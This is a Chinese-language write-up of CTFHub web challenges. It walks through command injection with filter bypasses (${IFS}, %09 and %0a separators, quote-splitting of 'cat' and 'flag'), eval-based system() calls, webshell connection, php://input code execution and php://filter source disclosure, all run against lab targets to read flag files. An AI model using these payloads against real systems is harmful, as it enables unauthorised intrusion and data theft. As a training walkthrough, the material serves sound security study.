命令注入
可以看见这里没有任何限制条件,也就是说我们可以在这里模拟我们自己的Linux系统的命令行操作。
输入 |ls
?ip
过滤cat
很明显,这里过滤掉了cat关键字。这时候有如下几总方式可以替换cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的显示文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
先|ls查看目录
发现存在flag_313911065126325.php
?ip
过滤空格
空格过滤掉,我们得想办法用其它符号代替空格即可
使用IFS$9、%09、<、>、<>、{
,}、%20、${
IFS}、${
IFS}来代替空格
先 |ls查看目录
?ip=|cat${IFS}flag_58872678825836.php
过滤目录分隔符
这里过滤掉 “” 和 “/”
我们可以用;ls查看目录
进入flag_is_here 再次查看目录
?ip
过滤运算符
这里过滤掉了 | & 运算符 直接用 ; 代替即可
?ip=;cat flag_37062833024962.php
综合过滤练习
方法一
代码审计,过滤内容如下
| & ; 空格 / cat flag ctfhub
由于|&;都被过滤了,因此只能用%0a 作为分隔符
需要注意:由于%0a是url编码,所以需要在URL中使用,否则将被二次编码
?ip=%0als
用%09代替空格,用连接符‘’绕过对关键词cat,flag的过滤
构造?ip=%0acd%09fl’‘ag_is_here%0als
?ip=%0acd%09fl’‘ag_is_here%0aca’‘t%09fl’'ag_166362287218721.php
方法二
flag可以用${IFS}fl$*ag_id_here
这样替代。
%0als${
IFS}fl$*ag_is_here
%0acd${
IFS}fl$*ag_is_here%0aca''t${
IFS}fl$*ag_166362287218721.php
eval执行
方法一
代码显示将命令赋值给cmd然后执行
?cmd=system(“ls …/…/…/”);
?cmd=system(“cat …/…/…/flag_30631”);
方法二:
可以执行?cmd=system(‘ls’);查看当前目录。
因为没有对输入进行过滤,直接连接菜刀。
在根目录发现flag文件,获得flag
文件包含
点击shell,出现如下界面
构造payload,往ctfhub里传参。先查看当前目录下的文件ls
这里要用单引号
发现没有flag相关文件,查看上一级文件ls /
发现flag信息,打开flag文件,获得flag
当然也可以连接一剑,密码是ctfhub
php://input
代码审计:接收一个参数file,substr的作用是返回字串。为了能够执行include语句,file参数前6位必须是php
远程包含
查看PHPinfo文件,发现可以使用php://input
构造payload,使用?file=php://input
POST里传参:<?php system('ls /')?>
发现存放flag的文件
然后再打开文件
当然也可以参照pikachu远程包含的做法
读取源代码
发现不管用
先了解一个知识
使用filter将源码通过base64回显。
Payload:
http://URL/?file=php://filter/read=convert.base64-encode/resource=../../../flag